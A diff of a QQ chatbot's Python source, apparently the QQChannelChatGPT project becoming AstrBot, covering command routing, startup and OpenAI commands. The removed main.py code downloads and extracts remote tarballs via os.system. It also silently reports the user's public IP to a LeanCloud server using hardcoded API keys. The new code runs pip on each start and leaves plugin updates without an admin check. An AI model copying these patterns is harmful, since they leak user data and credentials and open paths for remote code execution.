-                continue
-            if 'sponsor' in key_stat[key]:
-                sponsor = key_stat[key]['sponsor']
-            chatgpt_cfg_str += f"  |-{index}: {key_stat[key]['used']}/{max} {sponsor}赞助{tag}\n"
-            index += 1
-        msg = f"⭐使用情况({str(gg_count)}个已用):\n{chatgpt_cfg_str}⏰全频道已用{total}tokens\n{announcement}"
-    if qq_msg == "/count" or qq_msg == "/统计":
-        guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat()
-        msg = f"当前会话数: {len(session_dict)}\n共有频道数: {guild_count} \n共有消息数: {guild_msg_count}\n私信数: {guild_direct_msg_count}\n历史会话数: {session_count}"
-    
-    if qq_msg == "/help":
-        msg = "[Github项目名: QQChannelChatGPT，有问题请前往提交issue，欢迎赞助支持我！]\n\n指令面板：\n/status 查看机器人key状态\n/count 查看机器人统计信息\n/reset 重置会话\n/his 查看历史记录\n/token 查看会话token数\n/help 查看帮助\n/key 人格指令菜单"
-
-    if qq_msg[:4] == "/key":
-        if len(qq_msg) == 4:
-            msg = "感谢您赞助key。请以以下格式赞助:\n/key xxxxx"
-        key = qq_msg[5:]
-        send_qq_msg(message, "收到！正在核验...")
-        if chatgpt.check_key(key):
-            msg = f"*★,°*:.☆(￣▽￣)/$:*.°★* 。\n该Key被验证为有效。感谢{user_name}赞助~"
-            chatgpt.append_key(key, user_name)
-        else:
-            msg = "该Key被验证为无效。也许是输入错误了，或者重试。"
-
-    if qq_msg[:6] == "/unset":
-        now_personality = {}
-        msg = "已清除人格"
-    
-    if qq_msg[:4] == "/set":
-        if len(qq_msg) == 4:
-            np = '无'
-            if "name" in now_personality:
-                np=now_personality["name"]
-            msg = f"【由Github项目QQChannelChatGPT支持】\n\n【人格文本由PlexPt开源项目awesome-chatgpt-prompts-zh提供】\n\n这个是人格设置指令。\n设置人格: \n/set 人格名。例如/set 编剧\n人格列表: /set list\n人格详细信息: /set view 人格名\n自定义人格: /set 人格文本\n清除人格: /unset\n【当前人格】: {np}"
-        elif qq_msg[5:] == "list":
-            per_dict = personalities
-            msg = "人格列表：\n"
-            for key in per_dict.keys():
-                msg += f"  |-{key}\n"
-            msg += '\n\n*输入/set view 人格名查看人格详细信息'
-            msg += '\n\n*不定时更新人格库，请及时更新本项目。'
-        elif qq_msg[5:9] == "view":
-            ps = qq_msg[10:]
-            ps = ps.strip()
-            per_dict = personalities
-            if ps in per_dict:
-                msg = f"人格{ps}的详细信息：\n"
-                msg += f"{per_dict[ps]}\n"
-            else:
-                msg = f"人格{ps}不存在"
-        else:
-            ps = qq_msg[5:]
-            ps = ps.strip()
-            per_dict = personalities
-            if ps in per_dict:
-                now_personality = {
-                    'name': ps,
-                    'prompt': per_dict[ps]
-                }
-                session_dict[session_id] = []
-                msg = f"人格{ps}已设置，请耐心等待机器人回复第一条信息。"
-                go = True
-                type = 1
-            else:
-                msg = f"人格{ps}不存在, 请使用/set list查看人格列表"
-    return msg, go, type

main.py

@@ -1,168 +1,107 @@
+
+import os
+import sys
+import warnings
+import traceback
 import threading
-import time
-import asyncio
-import os, sys
-import signal
-import requests,json
+from logging import Formatter, Logger
+from util.cmd_config import CmdConfig, try_migrate_config
 
-# 是否是windows打包。一般人不需要改这个，这个只是我为了方便加上的。
-win_compile_mode = False
-abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
+warnings.filterwarnings("ignore")
 
+logger: Logger = None
+logo_tmpl = """
+     ___           _______.___________..______      .______     ______   .___________.
+    /   \         /       |           ||   _  \     |   _  \   /  __  \  |           |
+   /  ^  \       |   (----`---|  |----`|  |_)  |    |  |_)  | |  |  |  | `---|  |----`
+  /  /_\  \       \   \       |  |     |      /     |   _  <  |  |  |  |     |  |     
+ /  _____  \  .----)   |      |  |     |  |\  \----.|  |_)  | |  `--'  |     |  |     
+/__/     \__\ |_______/       |__|     | _| `._____||______/   \______/      |__|     
+                                                                                    
+"""
 
+def make_necessary_dirs():
+    '''
+    创建必要的目录。
+    '''
+    os.makedirs("data/config", exist_ok=True)
+    os.makedirs("temp", exist_ok=True)
 
-def main(loop, event):
-    import cores.qqbot.core as qqBot
-    from cores.openai.core import ChatGPT
-    #实例化ChatGPT
-    chatgpt = ChatGPT()
-    # #执行qqBot
-    qqBot.initBot(chatgpt)
-
-# 仅支持linux
-def hot_update(ver):
-    target = 'target.tar'
-    time.sleep(5)
-    while(True):
-        if os.path.exists('version.txt'):
-            version_file = open('version.txt', 'r', encoding='utf-8')
-            vs = version_file.read()
-            version = float(vs)
-        else:
-            version = 0
-        if not os.path.exists(target):
-            version = 0
-        try:
-            res = requests.get("https://soulter.top/channelbot/update.json")
-            res_obj = json.loads(res.text)
-            ol_version = float(res_obj['version'])
-            if ol_version > version:
-                print('发现新版本: ' + str(ol_version))
-                res = requests.get(res_obj['linux-url'], stream=True)
-                filesize = res.headers["Content-Length"]
-                print('文件大小: ' + str(int(filesize) / 1024 / 1024) + 'MB')
-                print('正在更新文件...')
-                chunk_size = 1024
-                times = int(filesize) // chunk_size
-                show = 1 / times
-                show2 = 1 / times
-                start = 1
-                with open(target, "wb") as pyFile:
-                    for chunk in res.iter_content(chunk_size=chunk_size):
-                        if chunk:
-                            pyFile.write(chunk)
-                        if start <= times:
-                            print(f"\r下载进度: {show:.2%}",end="",flush=True)
-                            start += 1
-                            show += show2
-                        else:
-                            sys.stdout.write(f"下载进度: 100%\n")
-                print('更新完成')
-                print('解压覆盖')
-                os.system(f"tar -zxvf {target}")
-                version = ol_version
-                version_file = open('version.txt', 'w+', encoding='utf-8')
-                version_file.write(str(res_obj['version']))
-                version_file.flush()
-                version_file.close()
-
-                try:
-                    update_version(version)
-                except BaseException as e:
-                    print(e)
-                
-                print('自启动')
-                py = sys.executable
-                os.execl(py, py, *sys.argv)
-            time.sleep(60*20)
-        except BaseException as e:
-            print(e)
-            print("upd出现异常，请联系QQ905617992")
-            time.sleep(60*20)
-
-
-def update_version(ver):
-    if not os.path.exists('update_record'):
-        object_id = ''
-    else:
-        object_id = open("update_record", 'r', encoding='utf-8').read()
-    addr = 'unknown'
+def update_dept():
+    '''
+    更新依赖库。
+    '''
+    # 获取 Python 可执行文件路径
+    py = sys.executable
+    requirements_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "requirements.txt")
+    print(requirements_path)
+    # 更新依赖库
+    mirror = "https://mirrors.aliyun.com/pypi/simple/"
+    os.system(f"{py} -m pip install -r {requirements_path} -i {mirror}")
+    
+def main():
     try:
-        addr = requests.get('http://myip.ipip.net', timeout=5).text
-    except BaseException:
-        pass
-    try:
-        ts = str(time.time())
-        # md = hashlib.md5((ts+'QAZ1rQLY1ZufHrZlpuUiNff7').encode())
-        headers = {
-            'X-LC-Id': 'UqfXTWW15nB7iMT0OHvYrDFb-gzGzoHsz',
-            'X-LC-Key': 'QAZ1rQLY1ZufHrZlpuUiNff7',
-            'Content-Type': 'application/json'
-        }
-        d = {"data": {'version':'win-hot-update'+str(ver), 'addr': addr}}
-        d = json.dumps(d).encode("utf-8")
-        res = requests.put(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/version_record/{object_id}', headers = headers, data = d)
-        if json.loads(res.text)['code'] == 1:
-            res = requests.post(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/version_record', headers = headers, data = d)
-            object_id = json.loads(res.text)['objectId']
-            object_id_file = open("update_record", 'w+', encoding='utf-8')
-            object_id_file.write(str(object_id))
-            object_id_file.flush()
-            object_id_file.close()
+        import botpy, logging
+        import astrbot.core as bot_core
+        # delete qqbotpy's logger
+        for handler in logging.root.handlers[:]:
+            logging.root.removeHandler(handler)        
+    except ImportError as import_error:
+        logger.error(import_error)
+        logger.error("检测到一些依赖库没有安装。由于兼容性问题，AstrBot 此版本将不会自动为您安装依赖库。请您先自行安装，然后重试。")
+        logger.info("如何安装？如果：")
+        logger.info("- Windows 启动器部署且使用启动器下载了 Python的：在 launcher.exe 所在目录下的地址框输入 powershell，然后执行 .\python\python.exe -m pip install .\AstrBot\requirements.txt")
+        logger.info("- Windows 启动器部署且使用自己之前下载的 Python的：在 launcher.exe 所在目录下的地址框输入 powershell，然后执行 python -m pip install .\AstrBot\requirements.txt")
+        logger.info("- 自行 clone 源码部署的：python -m pip install -r requirements.txt")
+        logger.info("- 如果还不会，加群 322154837 ")
+        input("按任意键退出。")
+        exit()
+    except FileNotFoundError as file_not_found:
+        logger.error(file_not_found)
+        input("配置文件不存在，请检查是否已经下载配置文件。")
+        exit()
     except BaseException as e:
-        print(e)
+        logger.error(traceback.format_exc())
+        input("未知错误。")
+        exit()
+
+    # 启动主程序（cores/qqbot/core.py）
+    bot_core.init()
+
 
 def check_env():
-    if not (sys.version_info.major == 3 and sys.version_info.minor >= 8):
-        print("请使用Python3.8运行本项目")
-        input("按任意键退出...")
+    if not (sys.version_info.major == 3 and sys.version_info.minor >= 9):
+        logger.error("请使用 Python3.9+ 运行本项目。按任意键退出。")
+        input("")
         exit()
-    try:
-        import openai
-        import botpy
-        import yaml
-    except Exception as e:
-        # print(e)
-        try:
-            print("安装依赖库中...")
-            os.system("pip3 install openai")
-            os.system("pip3 install qq-botpy")
-            os.system("pip3 install pyyaml")
-            print("安装依赖库完毕...")
-        except BaseException:
-            print("\n安装第三方库异常.请自行安装或者联系QQ905617992.")
-        
-    # 检查key
-    with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile:
-        import yaml
-        cfg = yaml.safe_load(ymlfile)
-        if cfg['openai']['key'] == '' or cfg['openai']['key'] == None:
-            print("请先在configs/config.yaml下添加一个可用的OpenAI Key。详情请前往https://beta.openai.com/account/api-keys")
-        if cfg['qqbot']['appid'] == '' or cfg['qqbot']['token'] == '' or cfg['qqbot']['appid'] == None or cfg['qqbot']['token'] == None: 
-            print("请先在configs/config.yaml下完善appid和token令牌(在https://q.qq.com/上注册一个QQ机器人即可获得)")
-
-def get_platform():
-    import platform
-    sys_platform = platform.platform().lower()
-    if "windows" in sys_platform:
-        return "win"
-    elif "macos" in sys_platform:
-        return "mac"
-    elif "linux" in sys_platform:
-        return "linux"
-    else:
-        print("other")
 
 if __name__ == "__main__":
-    global pid
-    pid = os.getpid()
-    global ma_type
-    print("程序PID:"+str(pid))
+    update_dept()
+    make_necessary_dirs()
+    try_migrate_config()
+    cc = CmdConfig()
+    http_proxy = cc.get("http_proxy")
+    https_proxy = cc.get("https_proxy")
+    if http_proxy:
+        os.environ['HTTP_PROXY'] = http_proxy
+    if https_proxy:
+        os.environ['HTTPS_PROXY'] = https_proxy
+    os.environ['NO_PROXY'] = 'https://api.sgroup.qq.com'
+    
+    from SparkleLogging.utils.core import LogManager
+    logger = LogManager.GetLogger(
+    log_name='astrbot-core',
+        out_to_console=True,
+        custom_formatter=Formatter('[%(asctime)s| %(name)s - %(levelname)s|%(filename)s:%(lineno)d]: %(message)s', datefmt="%H:%M:%S")
+    )
+    logger.info(logo_tmpl)
+    logger.info(f"使用代理: {http_proxy}, {https_proxy}")
+    
     check_env()
-    bot_event = threading.Event()
-    loop = asyncio.get_event_loop()
-    ma_type = get_platform()
-    if ma_type == 'linux':
-        threading.Thread(target=hot_update).start()
-        
-    main(loop, bot_event)
+    t = threading.Thread(target=main, daemon=True)
+    t.start()
+    try:
+        t.join()
+    except KeyboardInterrupt as e:
+        logger.info("退出 AstrBot。")
+        exit()

model/command/command.py

@@ -0,0 +1,322 @@
+import json
+import inspect
+import aiohttp
+import asyncio
+import json
+
+import util.plugin_util as putil
+import util.updator
+
+from nakuru.entities.components import (
+    Image
+)
+from util import general_utils as gu
+from util.image_render.helper import text_to_image_base
+from model.provider.provider import Provider
+from util.cmd_config import CmdConfig as cc
+from type.message import *
+from type.types import GlobalObject
+from type.command import *
+from type.plugin import *
+from type.register import *
+
+from typing import List
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+PLATFORM_QQCHAN = 'qqchan'
+PLATFORM_GOCQ = 'gocq'
+
+# 指令功能的基类，通用的（不区分语言模型）的指令就在这实现
+
+
+class Command:
+    def __init__(self, provider: Provider, global_object: GlobalObject = None):
+        self.provider = provider
+        self.global_object = global_object
+
+    async def check_command(self,
+                            message,
+                            session_id: str,
+                            role: str,
+                            platform: RegisteredPlatform,
+                            message_obj):
+        self.platform = platform
+        # 插件
+        cached_plugins = self.global_object.cached_plugins
+        # 将消息封装成 AstrMessageEvent 对象
+        ame = AstrMessageEvent(
+            message_str=message,
+            message_obj=message_obj,
+            platform=platform,
+            role=role,
+            context=self.global_object,
+            session_id=session_id
+        )
+        # 从已启动的插件中查找是否有匹配的指令
+        for plugin in cached_plugins:
+            # 过滤掉平台类插件
+            if plugin.metadata.plugin_type == PluginType.PLATFORM:
+                continue
+            try:
+                if inspect.iscoroutinefunction(plugin.plugin_instance.run):
+                    result = await plugin.plugin_instance.run(ame)
+                else:
+                    result = await asyncio.to_thread(plugin.plugin_instance.run, ame)
+                if not result:
+                    continue
+                if isinstance(result, CommandResult):
+                    hit = result.hit
+                    res = result._result_tuple()
+                elif isinstance(result, tuple):
+                    hit = result[0]
+                    res = result[1]
+                else:
+                    raise TypeError("插件返回值格式错误。")
+                if hit:
+                    plugin.trig()
+                    logger.debug("hit plugin: " + plugin.metadata.plugin_name)
+                    return True, res
+            except TypeError as e:
+                # 参数不匹配，尝试使用旧的参数方案
+                try:
+                    if inspect.iscoroutinefunction(plugin.plugin_instance.run):
+                        hit, res = await plugin.plugin_instance.run(message, role, platform, message_obj, self.global_object.platform_qq)
+                    else:
+                        hit, res = await asyncio.to_thread(plugin.plugin_instance.run, message, role, platform, message_obj, self.global_object.platform_qq)
+                    if hit:
+                        return True, res
+                except BaseException as e:
+                    logger.error(
+                        f"{plugin.metadata.plugin_name} 插件异常，原因: {str(e)}\n如果你没有相关装插件的想法, 请直接忽略此报错, 不影响其他功能的运行。")
+            except BaseException as e:
+                logger.error(
+                    f"{plugin.metadata.plugin_name} 插件异常，原因: {str(e)}\n如果你没有相关装插件的想法, 请直接忽略此报错, 不影响其他功能的运行。")
+
+        if self.command_start_with(message, "nick"):
+            return True, self.set_nick(message, platform, role)
+        if self.command_start_with(message, "plugin"):
+            return True, await self.plugin_oper(message, role, self.global_object, platform)
+        if self.command_start_with(message, "myid") or self.command_start_with(message, "!myid"):
+            return True, self.get_my_id(message_obj, platform)
+        if self.command_start_with(message, "web"):  # 网页搜索
+            return True, self.web_search(message)
+        if self.command_start_with(message, "update"):
+            return True, self.update(message, role)
+        if message == "t2i":
+            return True, "t2i", self.t2i_toggle(message, role)
+        if not self.provider and message == "help":
+            return True, await self.help()
+
+        return False, None
+
+    def web_search(self, message):
+        l = message.split(' ')
+        if len(l) == 1:
+            return True, f"网页搜索功能当前状态: {self.global_object.web_search}", "web"
+        elif l[1] == 'on':
+            self.global_object.web_search = True
+            return True, "已开启网页搜索", "web"
+        elif l[1] == 'off':
+            self.global_object.web_search = False
+            return True, "已关闭网页搜索", "web"
+        
+    def t2i_toggle(self, message, role):
+        p = cc.get("qq_pic_mode", True)
+        if p:
+            cc.put("qq_pic_mode", False)
+            return True, "已关闭文本转图片模式。", "t2i"
+        cc.put("qq_pic_mode", True)
+        return True, "已开启文本转图片模式。", "t2i"
+
+    def get_my_id(self, message_obj, platform):
+        try:
+            user_id = str(message_obj.sender.user_id)
+            return True, f"你在此平台上的ID：{user_id}", "plugin"
+        except BaseException as e:
+            return False, f"在{platform}上获取你的ID失败，原因: {str(e)}", "plugin"
+
+    async def plugin_oper(self, message: str, role: str, ctx: GlobalObject, platform: str):
+        l = message.split(" ")
+        if len(l) < 2:
+            p = await text_to_image_base("# 插件指令面板 \n- 安装插件: `plugin i 插件Github地址`\n- 卸载插件: `plugin d 插件名`\n- 重载插件: `plugin reload`\n- 查看插件列表：`plugin l`\n - 更新插件: `plugin u 插件名`\n")
+            with open(p, 'rb') as f:
+                return True, [Image.fromBytes(f.read())], "plugin"
+        else:
+            if l[1] == "i":
+                if role != "admin":
+                    return False, f"你的身份组{role}没有权限安装插件", "plugin"
+                try:
+                    putil.install_plugin(l[2], )
+                    return True, "插件拉取并载入成功~", "plugin"
+                except BaseException as e:
+                    return False, f"拉取插件失败，原因: {str(e)}", "plugin"
+            elif l[1] == "d":
+                if role != "admin":
+                    return False, f"你的身份组{role}没有权限删除插件", "plugin"
+                try:
+                    putil.uninstall_plugin(l[2], ctx)
+                    return True, "插件卸载成功~", "plugin"
+                except BaseException as e:
+                    return False, f"卸载插件失败，原因: {str(e)}", "plugin"
+            elif l[1] == "u":
+                try:
+                    putil.update_plugin(l[2], ctx)
+                    return True, "\n更新插件成功!!", "plugin"
+                except BaseException as e:
+                    return False, f"更新插件失败，原因: {str(e)}。\n建议: 使用 plugin i 指令进行覆盖安装(插件数据可能会丢失)", "plugin"
+            elif l[1] == "l":
+                try:
+                    plugin_list_info = ""
+                    for plugin in ctx.cached_plugins:
+                        plugin_list_info += f"### {plugin.metadata.plugin_name} \n- 名称: {plugin.metadata.plugin_name}\n- 简介: {plugin.metadata.desc}\n- 版本: {plugin.metadata.version}\n- 作者: {plugin.metadata.author}\n"
+                    p = await text_to_image_base(f"# 已激活的插件\n{plugin_list_info}\n> 使用plugin v 插件名 查看插件帮助\n")
+                    with open(p, 'rb') as f:
+                        return True, [Image.fromBytes(f.read())], "plugin"
+                except BaseException as e:
+                    return False, f"获取插件列表失败，原因: {str(e)}", "plugin"
+            elif l[1] == "v":
+                try:
+                    info = None
+                    for i in ctx.cached_plugins:
+                        if i.metadata.plugin_name == l[2]:
+                            info = i.metadata
+                            break
+                    if info:
+                        p = await text_to_image_base(f"# `{info.plugin_name}` 插件信息\n- 类型: {info.plugin_type}\n- 简介{info.desc}\n- 版本: {info.version}\n- 作者: {info.author}")
+                        with open(p, 'rb') as f:
+                            return True, [Image.fromBytes(f.read())], "plugin"
+                    else:
+                        return False, "未找到该插件", "plugin"
+                except BaseException as e:
+                    return False, f"获取插件信息失败，原因: {str(e)}", "plugin"
+
+    '''
+    nick: 存储机器人的昵称
+    '''
+
+    def set_nick(self, message: str, platform: RegisteredPlatform, role: str = "member"):
+        if role != "admin":
+            return True, "你无权使用该指令 :P", "nick"
+        if str(platform) == PLATFORM_GOCQ:
+            l = message.split(" ")
+            if len(l) == 1:
+                return True, "【设置机器人昵称】示例：\n支持多昵称\nnick 昵称1 昵称2 昵称3", "nick"
+            nick = l[1:]
+            cc.put("nick_qq", nick)
+            self.global_object.nick = tuple(nick)
+            return True, f"设置成功！现在你可以叫我这些昵称来提问我啦~", "nick"
+        elif str(platform) == PLATFORM_QQCHAN:
+            nick = message.split(" ")[2]
+            return False, "QQ频道平台不支持为机器人设置昵称。", "nick"
+
+    def general_commands(self):
+        return {
+            "help": "帮助",
+            "keyword": "设置关键词/关键指令回复",
+            "update": "更新项目",
+            "nick": "设置机器人唤醒词",
+            "plugin": "插件安装、卸载和重载",
+            "web on/off": "LLM 网页搜索能力",
+        }
+
+    async def help_messager(self, commands: dict, platform: str, cached_plugins: List[RegisteredPlugin] = None):
+        try:
+            async with aiohttp.ClientSession() as session:
+                async with session.get("https://soulter.top/channelbot/notice.json") as resp:
+                    notice = (await resp.json())["notice"]
+        except BaseException as e:
+            notice = ""
+        msg = "## 指令列表\n"
+        for key, value in commands.items():
+            msg += f"- `{key}`: {value}\n"
+        # plugins
+        if cached_plugins:
+            plugin_list_info = ""
+            for plugin in cached_plugins:
+                plugin_list_info += f"- `{plugin.metadata.plugin_name}`: {plugin.metadata.desc}\n"
+            if plugin_list_info.strip():
+                msg += "\n## 插件列表\n> 使用 plugin v 插件名 查看插件帮助\n"
+                msg += plugin_list_info
+        msg += notice
+
+        try:
+            p = await text_to_image_base(msg)
+            with open(p, 'rb') as f:
+                return [Image.fromBytes(f.read()),]
+        except BaseException as e:
+            logger.error(str(e))
+            return msg
+
+    def command_start_with(self, message: str, *args):
+        '''
+        当消息以指定的指令开头时返回True
+        '''
+        for arg in args:
+            if message.startswith(arg) or message.startswith('/'+arg):
+                return True
+        return False
+
+    def update(self, message: str, role: str):
+        if role != "admin":
+            return True, "你没有权限使用该指令", "update"
+        l = message.split(" ")
+        if len(l) == 1:
+            try:
+                update_info = util.updator.check_update()
+                update_info += "\n> Tips: 输入「update latest」更新到最新版本，输入「update <版本号如v3.1.3>」切换到指定版本，输入「update r」重启机器人\n"
+                return True, update_info, "update"
+            except BaseException as e:
+                return False, "检查更新失败: "+str(e), "update"
+        else:
+            if l[1] == "latest":
+                try:
+                    release_data = util.updator.request_release_info()
+                    util.updator.update_project(release_data)
+                    return True, "更新成功，重启生效。可输入「update r」重启", "update"
+                except BaseException as e:
+                    return False, "更新失败: "+str(e), "update"
+            elif l[1] == "r":
+                util.updator._reboot()
+            else:
+                if l[1].lower().startswith('v'):
+                    try:
+                        release_data = util.updator.request_release_info(
+                            latest=False)
+                        util.updator.update_project(
+                            release_data, latest=False, version=l[1])
+                        return True, "更新成功，重启生效。可输入「update r」重启", "update"
+                    except BaseException as e:
+                        return False, "更新失败: "+str(e), "update"
+                else:
+                    return False, "版本号格式错误", "update"
+
+    def reset(self):
+        return False
+
+    def set(self):
+        return False
+
+    def unset(self):
+        return False
+
+    def key(self):
+        return False
+
+    async def help(self):
+        ret = await self.help_messager(self.general_commands(), self.platform, self.global_object.cached_plugins)
+        return True, ret, "help"
+
+    def status(self):
+        return False
+
+    def token(self):
+        return False
+
+    def his(self):
+        return False
+
+    def draw(self):
+        return False

model/command/openai_official.py

@@ -0,0 +1,251 @@
+from model.command.command import Command
+from model.provider.openai_official import ProviderOpenAIOfficial, MODELS
+from util.personality import personalities
+from type.types import GlobalObject
+from type.command import CommandItem
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+from openai._exceptions import NotFoundError
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+class CommandOpenAIOfficial(Command):
+    def __init__(self, provider: ProviderOpenAIOfficial, global_object: GlobalObject):
+        self.provider = provider
+        self.global_object = global_object
+        self.personality_str = ""
+        self.commands = [
+            CommandItem("reset", self.reset, "重置 LLM 会话。", "内置"),
+            CommandItem("his", self.his, "查看与 LLM 的历史记录。", "内置"),
+            CommandItem("status", self.status, "查看 GPT 配置信息和用量状态。", "内置"),
+        ]
+        super().__init__(provider, global_object)
+
+    async def check_command(self,
+                            message: str,
+                            session_id: str,
+                            role: str,
+                            platform: str,
+                            message_obj):
+        self.platform = platform
+
+        # 检查基础指令
+        hit, res = await super().check_command(
+            message,
+            session_id,
+            role,
+            platform,
+            message_obj
+        )
+
+        logger.debug(f"基础指令hit: {hit}, res: {res}")
+
+        # 这里是这个 LLM 的专属指令
+        if hit:
+            return True, res
+        if self.command_start_with(message, "reset", "重置"):
+            return True, await self.reset(session_id, message)
+        elif self.command_start_with(message, "his", "历史"):
+            return True, self.his(message, session_id)
+        elif self.command_start_with(message, "status"):
+            return True, self.status(session_id)
+        elif self.command_start_with(message, "help", "帮助"):
+            return True, await self.help()
+        elif self.command_start_with(message, "unset"):
+            return True, self.unset(session_id)
+        elif self.command_start_with(message, "set"):
+            return True, self.set(message, session_id)
+        elif self.command_start_with(message, "update"):
+            return True, self.update(message, role)
+        elif self.command_start_with(message, "画", "draw"):
+            return True, await self.draw(message)
+        elif self.command_start_with(message, "switch"):
+            return True, await self.switch(message)
+        elif self.command_start_with(message, "models"):
+            return True, await self.print_models()
+        elif self.command_start_with(message, "model"):
+            return True, await self.set_model(message)
+        return False, None
+    
+    async def get_models(self):
+        try:
+            models = await self.provider.client.models.list()
+        except NotFoundError as e:
+            bu = str(self.provider.client.base_url)
+            self.provider.client.base_url = bu + "/v1"
+            models = await self.provider.client.models.list()
+        finally:
+            return filter(lambda x: x.id.startswith("gpt"), models.data)
+
+    async def print_models(self):
+        models = await self.get_models()
+        i = 1
+        ret = "OpenAI GPT 类可用模型"
+        for model in models:
+            ret += f"\n{i}. {model.id}"
+            i += 1
+        ret += "\nTips: 使用 /model 模型名/编号，即可实时更换模型。如目标模型不存在于上表，请输入模型名。"
+        logger.debug(ret)
+        return True, ret, "models"
+
+    
+    async def set_model(self, message: str):
+        l = message.split(" ")
+        if len(l) == 1:
+            return True, "请输入 /model 模型名/编号", "model"
+        model = str(l[1])
+        if model.isdigit():
+            models = await self.get_models()
+            models = list(models)
+            if int(model) <= len(models) and int(model) >= 1:
+                model = models[int(model)-1]
+            self.provider.set_model(model.id)
+            return True, f"模型已设置为 {model.id}", "model"
+        else:
+            self.provider.set_model(model)
+            return True, f"模型已设置为 {model} (自定义)", "model"
+
+        
+    async def help(self):
+        commands = super().general_commands()
+        commands['画'] = '调用 OpenAI DallE 模型生成图片'
+        commands['/set'] = '人格设置面板'
+        commands['/status'] = '查看 Api Key 状态和配置信息'
+        commands['/token'] = '查看本轮会话 token'
+        commands['/reset'] = '重置当前与 LLM 的会话，但保留人格（system prompt）'
+        commands['/reset p'] = '重置当前与 LLM 的会话，并清除人格。'
+        commands['/models'] = '获取当前可用的模型'
+        commands['/model'] = '更换模型'
+        
+        return True, await super().help_messager(commands, self.platform, self.global_object.cached_plugins), "help"
+
+    async def reset(self, session_id: str, message: str = "reset"):
+        if self.provider is None:
+            return False, "未启用 OpenAI 官方 API", "reset"
+        l = message.split(" ")
+        if len(l) == 1:
+            await self.provider.forget(session_id, keep_system_prompt=True)
+            return True, "重置成功", "reset"
+        if len(l) == 2 and l[1] == "p":
+            await self.provider.forget(session_id)
+
+    def his(self, message: str, session_id: str):
+        if self.provider is None:
+            return False, "未启用 OpenAI 官方 API", "his"
+        size_per_page = 3
+        page = 1
+        l = message.split(" ")
+        if len(l) == 2:
+            try:
+                page = int(l[1])
+            except BaseException as e:
+                return True, "页码不合法", "his"
+        contexts, total_num = self.provider.dump_contexts_page(session_id, size_per_page, page=page)
+        t_pages = total_num // size_per_page + 1
+        return True, f"历史记录如下：\n{contexts}\n第 {page} 页 | 共 {t_pages} 页\n*输入 /his 2 跳转到第 2 页", "his"
+
+    def status(self, session_id: str):
+        if self.provider is None:
+            return False, "未启用 OpenAI 官方 API", "status"
+        keys_data = self.provider.get_keys_data()
+        ret = "OpenAI Key"
+        for k in keys_data:
+            status = "🟢" if keys_data[k] else "🔴"
+            ret += "\n|- " + k[:8] + " " + status
+
+        conf = self.provider.get_configs()
+        ret += "\n当前模型：" + conf['model']
+        if conf['model'] in MODELS:
+            ret += "\n最大上下文窗口：" + str(MODELS[conf['model']]) + " tokens"
+
+        if session_id in self.provider.session_memory and len(self.provider.session_memory[session_id]):
+            ret += "\n你的会话上下文：" + str(self.provider.session_memory[session_id][-1]['usage_tokens']) + " tokens"
+
+        return True, ret, "status"
+
+    async def switch(self, message: str):
+        '''
+        切换账号
+        '''
+        l = message.split(" ")
+        if len(l) == 1:
+            _, ret, _ = self.status()
+            curr_ = self.provider.get_curr_key()
+            if curr_ is None:
+                ret += "当前您未选择账号。输入/switch <账号序号>切换账号。"
+            else:
+                ret += f"当前您选择的账号为：{curr_[-8:]}。输入/switch <账号序号>切换账号。"
+            return True, ret, "switch"
+        elif len(l) == 2:
+            try:
+                key_stat = self.provider.get_keys_data()
+                index = int(l[1])
+                if index > len(key_stat) or index < 1:
+                    return True, "账号序号不合法。", "switch"
+                else:
+                    try:
+                        new_key = list(key_stat.keys())[index-1]
+                        self.provider.set_key(new_key)
+                    except BaseException as e:
+                        return True, "账号切换失败，原因: " + str(e), "switch"
+                    return True, f"账号切换成功。", "switch"
+            except BaseException as e:
+                return True, "未知错误: "+str(e), "switch"
+        else:
+            return True, "参数过多。", "switch"
+
+    def unset(self, session_id: str):
+        if self.provider is None:
+            return False, "未启用 OpenAI 官方 API", "unset"
+        self.provider.curr_personality = {}
+        self.provider.forget(session_id)
+        return True, "已清除人格并重置历史记录。", "unset"
+
+    def set(self, message: str, session_id: str):
+        if self.provider is None:
+            return False, "未启用 OpenAI 官方 API", "set"
+        l = message.split(" ")
+        if len(l) == 1:
+            return True, f"【人格文本由PlexPt开源项目awesome-chatgpt-pr \
+        ompts-zh提供】\n设置人格: \n/set 人格名。例如/set 编剧\n人格列表: /set list\n人格详细信息: \
+        /set view 人格名\n自定义人格: /set 人格文本\n重置会话(清除人格): /reset\n重置会话(保留人格): /reset p\n【当前人格】: {str(self.provider.curr_personality)}", "set"
+        elif l[1] == "list":
+            msg = "人格列表：\n"
+            for key in personalities.keys():
+                msg += f"  |-{key}\n"
+            msg += '\n\n*输入/set view 人格名查看人格详细信息'
+            msg += '\n*不定时更新人格库，请及时更新本项目。'
+            return True, msg, "set"
+        elif l[1] == "view":
+            if len(l) == 2:
+                return True, "请输入/set view 人格名", "set"
+            ps = l[2].strip()
+            if ps in personalities:
+                msg = f"人格{ps}的详细信息：\n"
+                msg += f"{personalities[ps]}\n"
+            else:
+                msg = f"人格{ps}不存在"
+            return True, msg, "set"
+        else:
+            ps = l[1].strip()
+            if ps in personalities:
+                self.provider.curr_personality = {
+                    'name': ps,
+                    'prompt': personalities[ps]
+                }
+                self.provider.personality_set(ps, session_id)
+                return True, f"人格{ps}已设置。", "set"
+            else:
+                self.provider.curr_personality = {
+                    'name': '自定义人格',
+                    'prompt': ps
+                }
+                self.provider.personality_set(ps, session_id)
+                return True, f"自定义人格已设置。 \n人格信息: {ps}", "set"
+
+    async def draw(self, message: str):
+        if self.provider is None:
+            return False, "未启用 OpenAI 官方 API", "draw"
+        message = message.removeprefix("/").removeprefix("画")
+        img_url = await self.provider.image_generate(message)
+        return True, img_url, "draw"

model/platform/_message_parse.py

@@ -0,0 +1,114 @@
+from nakuru.entities.components import Plain, At, Image, BaseMessageComponent
+from nakuru import (
+    GuildMessage,
+    GroupMessage,
+    FriendMessage
+)
+import botpy.message
+from type.message import *
+from typing import List, Union
